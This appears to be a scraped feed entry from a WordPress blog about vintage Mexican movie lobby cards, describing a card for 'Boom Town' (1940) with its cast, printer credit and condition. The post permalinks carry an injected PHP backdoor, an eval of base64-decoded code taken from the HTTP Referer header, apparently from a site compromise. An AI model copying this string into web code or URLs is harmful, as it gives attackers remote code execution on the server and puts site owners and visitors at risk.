Cineartista: Vintage Mexican Movie Art » Claudette Colbert http://cineartista.com Vintage Mexican cinema lobby cards from the 20's through to the 90's Wed, 07 May 2008 08:45:11 +0000 http://wordpress.org/?v=2.8.4 en hourly 1 Boom Town (1940) http://cineartista.com/2008/03/22/boom-town-1940/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://cineartista.com/2008/03/22/boom-town-1940/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sat, 22 Mar 2008 09:10:27 +0000 admin http://cineartista.com/?p=10 el_fruto_dorado_1.jpg

Spanish title: El Fruto Dorado
Stars: Clark Gable, Spencer Tracy, Claudette Colbert, Hedy Lamarr
Directed by: Jack Conway
Distributor: MGM Mexico

"Romance and action in this exciting history of two adventurers looking for the coveted black gold."

Though this lobby card features perhaps some of the most amateur-looking original art that I’ve seen on a major release,  it’s definitely worth a spot in our collection just for the still image of Clark Gable and Hedy Lamarr in a passionate embrace. 

The card has a tiny print company credit of "Litoarte, S. de R. L.", alongside the MGM Mexico distributor credit (apparently the office was at Abraham Gonalez 67, Mexico D. F., in case you were wondering), and features four rather sizable pinholes that might be better described as ‘doornail holes’.

Otherwise, it’s in good shape, especially for a lobby card that would be about 68 years old about now. 

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